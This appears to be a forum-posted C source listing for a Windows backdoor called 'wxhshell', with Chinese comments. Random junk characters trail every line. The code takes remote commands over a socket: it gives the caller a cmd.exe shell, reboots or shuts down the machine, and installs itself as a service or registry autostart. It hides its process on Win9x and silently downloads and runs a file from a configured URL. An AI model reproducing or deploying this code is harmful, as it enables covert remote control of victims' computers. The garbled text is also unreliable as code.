    switch(cmd[0]) { 6u7?dG'4  
  :=\Hoz  
  // 帮助 ZGYr$C~  
  case '?': { t-0a7 1#e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w &(|e <  
    break; S>]pRV9rT  
  } b7wvaRe.  
  // 安装 zBk'{[y9L  
  case 'i': { i*NH'o/  
    if(Install()) al9t^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HLZ;8/|48m  
    else 7U2J xE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); */|9= $54  
    break; #EsNeBu  
    } T2!6(, s9  
  // 卸载 Gch[Otq]%  
  case 'r': { #[`:'e  
    if(Uninstall()) }0X:F`Y-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :kf`?u  
    else a8 mVFm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :"I E  
    break; s8#X3Rp  
    } nw<&3k(g}  
  // 显示 wxhshell 所在路径 M#=] k  
  case 'p': { NF0%}II&xK  
    char svExeFile[MAX_PATH]; Wv/%^3  
    strcpy(svExeFile,"\n\r"); t[oT-r  
      strcat(svExeFile,ExeFile); Hqn#yInA7~  
        send(wsh,svExeFile,strlen(svExeFile),0); fI~Xmw+}}  
    break; (3 #Cl 1]f  
    } cdZ~2vk  
  // 重启 qASqscO  
  case 'b': { }woo%N P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7e#?e+5+A  
    if(Boot(REBOOT)) !cAyTl(_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - qy6Un+  
    else { PUBWZ^63  
    closesocket(wsh); 0 Emr<n  
    ExitThread(0); 3rcKzS7  
    } DJ(q 7W  
    break; \a6^LD}B  
    } (s7;^)}zx  
  // 关机 Wr3mQU  
  case 'd': { [-;_ZFS{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V %YiAr>  
    if(Boot(SHUTDOWN)) fbL\?S,w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k'IYA#T6  
    else { ghX|3lI\q  
    closesocket(wsh); Y))u&*RuT0  
    ExitThread(0); Mc%Nf$XQ  
    } !2'jrJGc  
    break; nZ@&2YPlem  
    } 'iGzkf}j  
  // 获取shell 5KDGSo  
  case 's': { 3plzHz,x  
    CmdShell(wsh); I*IhwJFl/  
    closesocket(wsh); vt;{9\Y  
    ExitThread(0); LX@/RAd vz  
    break; OV%Q3$15  
  } Lv'D^'I  
  // 退出 hvuIxqv!y  
  case 'x': { ,^x4sA[/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0em#-*|2"  
    CloseIt(wsh); ae*Mf7  
    break; -#2)?NkeE  
    } 839IRM@'5  
  // 离开 yI ld75S`  
  case 'q': { mN>h5G>a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ewfP G,S  
    closesocket(wsh); kIGbG;"_  
    WSACleanup(); Bnb#{tL  
    exit(1); 8&Oa_{1+Q  
    break; '{J&M|<A  
        } ;B?DfWX  
  } Xy@7y[s]  
  } awOd_![c'  
P#_sg0oJF  
  // 提示信息 )EL!D%<A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '^Ql]% _  
} l"!Ko G7  
  } ;[W"mlM  
$zyIuJN#  
  return; 2A\,-*pc  
} )QG<f{wS  
t\ 7~S&z  
// shell模块句柄 c{&*w")J  
int CmdShell(SOCKET sock) Y;e,Gq`  
{ Nof3F/2 N&  
STARTUPINFO si; }t ;(VynV)  
ZeroMemory(&si,sizeof(si)); :J :, m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +q)5dYRzV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3Ezy %7  
PROCESS_INFORMATION ProcessInfo; KLL;e/Gf  
char cmdline[]="cmd"; S=nP[s  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,uPJ_oZs  
  return 0; Z-U-N  
} qpsv i.S  
v $7EvFS  
// 自身启动模式 Vm df8[5  
int StartFromService(void) wo3wtx  
{ *JaqTI,e  
typedef struct -CR?<A4mud  
{ bg3"W,bv%  
  DWORD ExitStatus; $YXMI",tt<  
  DWORD PebBaseAddress; 1|?05<8  
  DWORD AffinityMask; `KCh*i  
  DWORD BasePriority; }#qGqY*@LK  
  ULONG UniqueProcessId; (C\hVy2X?N  
  ULONG InheritedFromUniqueProcessId; 6sE{{,OGB  
}   PROCESS_BASIC_INFORMATION; k~/>b~ .c  
:gB[O>'<m  
PROCNTQSIP NtQueryInformationProcess; b.@P%`@a.  
zOSs[[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d~?X/sJ t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (^5 7UmFv]  
t2V0lyeL  
  HANDLE             hProcess; <97d[/7i  
  PROCESS_BASIC_INFORMATION pbi; h8Xg`C\  
#CnHf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8srBHslI  
  if(NULL == hInst ) return 0; Zo}y(N1K}  
ErT{(t7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DEw8*MN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /\w)>0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LT~YFS  
Qf| U0  
  if (!NtQueryInformationProcess) return 0; "ywh9cp  
C'!;J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WH$e2[+Y  
  if(!hProcess) return 0; HeK h>  
2iU7 0(H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NB7Y{) w  
^@"H1  
  CloseHandle(hProcess); jV/CQM5a+  
=rd|0K"(r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $v`afd y  
if(hProcess==NULL) return 0; T?p`)  
7P B)'Wl"6  
HMODULE hMod; ;oxAe<VIj  
char procName[255]; KZbR3mi,  
unsigned long cbNeeded;  x-'~Bu  
;@nFVy>U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $f pq 3  
j.i#*tN//  
  CloseHandle(hProcess); ~RBrSu)  
;c -3g]  
if(strstr(procName,"services")) return 1; // 以服务启动 GI7=x h  
%y<ejM  
  return 0; // 注册表启动 H2r8,|XL  
} P0i V<T4^  
2`a q**}  
// 主模块 fIocq  
int StartWxhshell(LPSTR lpCmdLine) f7hXQ|$  
{ f&x0@Q/eON  
  SOCKET wsl; = pIy  
BOOL val=TRUE; -/D|]qqHm  
  int port=0; #g5^SR|qE  
  struct sockaddr_in door;  UkfB^hA  
70B)|<$  
  if(wscfg.ws_autoins) Install(); )ZejQ}$  
+ q''y  
port=atoi(lpCmdLine); r,N[)@  
aj ~bt-cE  
if(port<=0) port=wscfg.ws_port; %g cc y|  
X8<2L 2:  
  WSADATA data; 6<5Jq\-h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~"!a9GZ  
eX2<}'W<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \;]kYO}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); : &J8.G^  
  door.sin_family = AF_INET; ]]cYLaq(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g6sjc,`  
  door.sin_port = htons(port); ^+R:MBK  
4Z)DDz-}V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \NXQ  
closesocket(wsl); # 4|9Fj??  
return 1; L|^o7 1t|  
} OK`Z@X_,bW  
{*/dD`  
  if(listen(wsl,2) == INVALID_SOCKET) { .h;Se  
closesocket(wsl); ,vG<*|pn  
return 1; j1$<]f  
} 3AlqBXE"Z<  
  Wxhshell(wsl); `ycU-m==  
  WSACleanup(); ~4)Y#IxL  
PM4>ThQ  
return 0; "A]Y~iQ  
9b6!CNe!  
} (G4'(6  
P 4;{jG  
// 以NT服务方式启动 o&^NwgRCF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xaL#MIR"u"  
{ 74zSP/G'  
DWORD   status = 0; eO{@@?/y  
  DWORD   specificError = 0xfffffff; hXX1<~k  
bZ# X 9fT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (L|}`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n6d^>s9J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +$(0w35V5  
  serviceStatus.dwWin32ExitCode     = 0; WL\^F#:  
  serviceStatus.dwServiceSpecificExitCode = 0; C(,=[Fi-  
  serviceStatus.dwCheckPoint       = 0; %yaG,;>U  
  serviceStatus.dwWaitHint       = 0; KtMbze  
?mOg@) wx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yg6I&#f7&  
  if (hServiceStatusHandle==0) return; (^H5EeGV{  
pN$;!  
status = GetLastError(); w4{y "A  
  if (status!=NO_ERROR) G+yL;G/  
{ ek[kq[U9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +5*vABvCu  
    serviceStatus.dwCheckPoint       = 0; Tiprdvm<  
    serviceStatus.dwWaitHint       = 0; ,QS'$n  
    serviceStatus.dwWin32ExitCode     = status; b}%g}L D  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bn-J_-%M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CT}' ")Bm  
    return; pruWO'b`  
  } Qcgu`]7}  
@*_ZoO7{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ] SK[C" S  
  serviceStatus.dwCheckPoint       = 0; 6{7 3p@  
  serviceStatus.dwWaitHint       = 0; B+Q+0tw*i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hb! ln7  
} ja75c~RUw  
kZK//YN#  
// 处理NT服务事件,比如:启动、停止 [tm[,VfA^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sJ7sjrEp 1  
{ t{=i=K 3  
switch(fdwControl)  ,F}r@  
{  i_y:4  
case SERVICE_CONTROL_STOP: 3`rIV*&_{  
  serviceStatus.dwWin32ExitCode = 0; eKJ:?Lxv;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M,JA;a, _  
  serviceStatus.dwCheckPoint   = 0; &gWiu9WbS  
  serviceStatus.dwWaitHint     = 0; <N5rv3 s  
  { hBoP=X.~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1$OVe4H1  
  } jI Z+d;1  
  return; 8;8YA1@w  
case SERVICE_CONTROL_PAUSE: {,F/KL^u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +',^((o  
  break; `x4E;Wjv  
case SERVICE_CONTROL_CONTINUE: |1i]L@&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |>@ -grs  
  break; mo*'"/  
case SERVICE_CONTROL_INTERROGATE: `+^sW#ki  
  break; 4 iKR{P6  
}; @%H8"A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5&G 5eA  
} TC@bL<1  
0T1ko,C!,e  
// 标准应用程序主函数 *) } :l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R|H[lbw  
{ N GSS:  
Pn J*Zea  
// 获取操作系统版本 mb~./.5F  
OsIsNt=GetOsVer(); Uf^RLdoDn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 77^ "xsa  
~BtKd*~*  
  // 从命令行安装 s~)L_ p  
  if(strpbrk(lpCmdLine,"iI")) Install(); f^u^-l  
J& )#G@fRX  
  // 下载执行文件  Db,= 2e  
if(wscfg.ws_downexe) { XW^8A 77H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0&Qsk!-B  
  WinExec(wscfg.ws_filenam,SW_HIDE); \ boL`X  
} $kIo4$.Y$  
T|!D>l'  
if(!OsIsNt) { <g*.p@o  
// 如果时win9x,隐藏进程并且设置为注册表启动 6I5o2i  
HideProc(); OFIMi^@  
StartWxhshell(lpCmdLine); %Dra7B%  
} *i%.{ YH  
else o|+E+l9\  
  if(StartFromService()) FXeV6zfrE  
  // 以服务方式启动 =Iy/cHK  
  StartServiceCtrlDispatcher(DispatchTable); Dw*Arc+3V  
else -}<d(c  
  // 普通方式启动 :;q>31:h  
  StartWxhshell(lpCmdLine); &q"'_4  
KCl &H  
return 0; hc6.#~i  
}
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只看该作者 1 发表于: 2006-10-10
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